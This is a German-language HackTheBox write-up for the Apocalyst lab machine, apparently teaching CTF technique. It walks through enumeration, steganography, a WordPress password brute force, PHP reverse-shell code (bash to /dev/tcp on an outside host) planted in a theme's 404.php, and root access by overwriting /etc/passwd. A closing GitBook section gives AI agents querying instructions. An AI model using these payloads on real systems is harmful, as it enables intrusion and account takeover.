> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md).

# Apocalyst HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/Apocalyst>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* WordPress-Enumeration
* Image-Stego-Herausforderung - Steghide
* Informationsleck - Benutzer-Enumeration
* WordPress-Ausnutzung - Theme-Editor (RCE)
* Ausnutzung falsch konfigurierter Berechtigungen (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/6b2a4eca9d848fccef97ea9f3e1f811f343fe660" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/3f4bc4af70545f4562ec1cb79747e437ffb7f47b" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts
```

<figure><img src="/files/a7a8eee7849f0998984a26287735d9b9a6633d9e" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap (22.80):**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80 10.10.10.46 -oN targeted
```

<figure><img src="/files/dc4772d663f4701e9caca9bd51351e2f40a05056" alt=""><figcaption></figcaption></figure>

Wir erkennen eine WordPress-Seite, aber die Domänenauflösung ist falsch konfiguriert.

<figure><img src="/files/d7d0c0199960871d0c1bd083e32cc782669766d0" alt=""><figcaption></figcaption></figure>

Wir fügen folgenden Eintrag zu */etc/hosts*:

<figure><img src="/files/484eeb62490d8c73fd9ec1287793cb94f1dae3ce" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bfd26464dc6efd0ff48ad53ea227bd62750ca5ef" alt="" width="563"><figcaption></figcaption></figure>

## **Erkundung der WordPress-Seite**

<figure><img src="/files/6f689f21db69d7a6206a58ce50b8a7895c692b48" alt=""><figcaption></figcaption></figure>

#### **Einen gültigen Benutzer identifizieren**

Wir finden einen gültigen Benutzer: **falaraki**.

<figure><img src="/files/43d0f8b3bc67d5b7a258a45b64f0ed8509763571" alt="" width="563"><figcaption></figcaption></figure>

#### **SSH-Ausnutzung**

Da die SSH-Version veraltet ist, können wir einen Exploit verwenden, um den Benutzer auf dem System zu verifizieren:

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="/files/17105074b1f781ccf175b74ce9437b74b7b20e3e" alt=""><figcaption></figcaption></figure>

Überprüfen, dass der Benutzer existiert:

```bash
python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null
```

<figure><img src="/files/c76cfe2f18cef75cb7f2018d5a68fa3d27701f75" alt=""><figcaption></figcaption></figure>

#### Also für WordPress:

<figure><img src="/files/3b8f3b8e6f585dfe511beabe28c44096cd9504ce" alt=""><figcaption></figcaption></figure>

### **WordPress-Auflistung**

Wir verwenden *wfuzz* um nach interessanten Verzeichnissen zu suchen:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Dieser Scan entdeckt mehrere Seiten, die einen 301-Code zurückgeben und auf ein Bild umleiten.

<figure><img src="/files/62bf80bbb8bf9de5b95211fabaa48f460a168f97" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6f7005a291982d944cbd8fb15076acabfcdf273f" alt=""><figcaption></figcaption></figure>

Anschließend filtern wir nach der Textlänge (157):

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Keine interessanten Ergebnisse.

<figure><img src="/files/f6cc1aa0cb74d08ff600be5e9b36af1237453368" alt=""><figcaption></figcaption></figure>

### **Erstellung eines personalisierten Wörterbuchs - CEWL** <a href="#custom-dictionary" id="custom-dictionary"></a>

Wir erstellen ein Wörterbuch basierend auf der Website:

<figure><img src="/files/b72887dfeeab34ed1183625092dc4bea5f1cdb53" alt=""><figcaption></figcaption></figure>

Verwenden Sie **Cewl** um ein Wörterbuch basierend auf der Website zu erstellen:

```bash
cewl -w list.txt http://apocalyst.htb/
```

<figure><img src="/files/00f88b0a2ac7da0853aa236d07acec26aa89b8e1" alt=""><figcaption></figcaption></figure>

Neue Erkennung mit *wfuzz*:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L
```

{% endcode %}

Wir finden die **`Rechtschaffenheit`** Verzeichnis.

<figure><img src="/files/cd98d913ac69f0d9293dd19da2d802a9322d7296" alt=""><figcaption></figcaption></figure>

### **Steganografieanalyse mit Steghide**

Wir speichern das Bild und analysieren es:

1. Überprüfen, ob das Bild versteckte Daten enthält:

<figure><img src="/files/211cf71952b0a52dff149494b8664c0276a13a24" alt=""><figcaption></figcaption></figure>

Überprüfen, ob das Bild versteckte Daten enthält:

```bash
steghide info image.jpg
```

<figure><img src="/files/2f16479d0909222e3c1a5de0e87cc5ed9e24f477" alt="" width="563"><figcaption></figcaption></figure>

Extraktion der versteckten Daten:

```bash
steghide extract -sf image.jpg
```

<figure><img src="/files/61fb230ef23403557a670ade74987e2a5e12874c" alt="" width="563"><figcaption></figcaption></figure>

Eine *list.txt* Datei mit Wörtern wird erzeugt

<figure><img src="/files/3ff52fcb0ba13f61dafe878e4e7f73ac22309409" alt=""><figcaption></figcaption></figure>

### **Brute-Force-Angriff auf WordPress**

<table data-full-width="false"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/4f5afffaf3fafead0aa0c29f033711c115e390c7">/pages/4f5afffaf3fafead0aa0c29f033711c115e390c7</a></td></tr></tbody></table>

<figure><img src="/files/1752379464cd7dd387459f230588a7febf9c3555" alt=""><figcaption></figcaption></figure>

Wir starten einen Brute-Force-Angriff mit *wpscan*, wobei *xmlrpc.php* das aktiv ist:

```bash
wpscan --url http://apocalyst.htb -U falaraki -P list.txt
```

Wir finden **falaraki**s Passwort: **Transclisiation**.

<figure><img src="/files/139fe4c066dbdcc41d6bdb5cd42b04f9c0f92e3e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/83444be9317201435bf557e474134163e0d4a250" alt=""><figcaption></figcaption></figure>

### **WordPress-Ausnutzung - Remote-Code-Ausführung (RCE)**

<figure><img src="/files/409b383929daeda59a1bb6d6ccfde0297c4bfaca" alt=""><figcaption></figcaption></figure>

Wir ändern die *404.php* Datei und injizieren Sie eine Reverse Shell hinein:

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

Lauschend auf Port 443:

```bash
nc -nvlp 443
```

<figure><img src="/files/b9f88453636debb448574dd3d6eb3e7918615c72" alt=""><figcaption></figcaption></figure>

Ausführen der Shell über *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="/files/776edc53b5b64c41db400d7534bef65661aeeea7" alt=""><figcaption></figcaption></figure>

#### Verbesserte Shell-Sitzung:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="/files/02157fe83f133e9342f5d700f4e207611f3fb134" alt="" width="563"><figcaption></figcaption></figure>

## **Privilegieneskalation**

### **Berechtigungsverwaltung (`/etc/passwd`)**

```bash
find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys"
```

Wir sehen, dass */etc/passwd* bearbeitet werden kann.

<figure><img src="/files/7ce1e4756db62bdb53ddae60cc2f6364b285cc1b" alt=""><figcaption></figcaption></figure>

Erstellen eines verschlüsselten Passworts mit OpenSSL:

```
openssl passwd -1 -salt WylYIBz9 jordan
```

<figure><img src="/files/6bc3f3833d4c54899626e8cf47fe8325b8f38141" alt=""><figcaption></figcaption></figure>

Was Folgendes erzeugt:

* $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/

Wir ersetzen die root-Zeile in */etc/passwd* durch unseren Hash.

<figure><img src="/files/00528d6e0d9c8163ab283f6fd0d3fb03f118135e" alt=""><figcaption></figcaption></figure>

Als root anmelden:

<figure><img src="/files/708f9f4e0c4d244d914b8fa04e153dda107614d0" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/55740cfe27fea2d0537101a4c17161644118931e" alt="" width="545"><figcaption></figcaption></figure>

<figure><img src="/files/1997037a1e612c3d66c8329e66d899005dcedeff" alt="" width="517"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
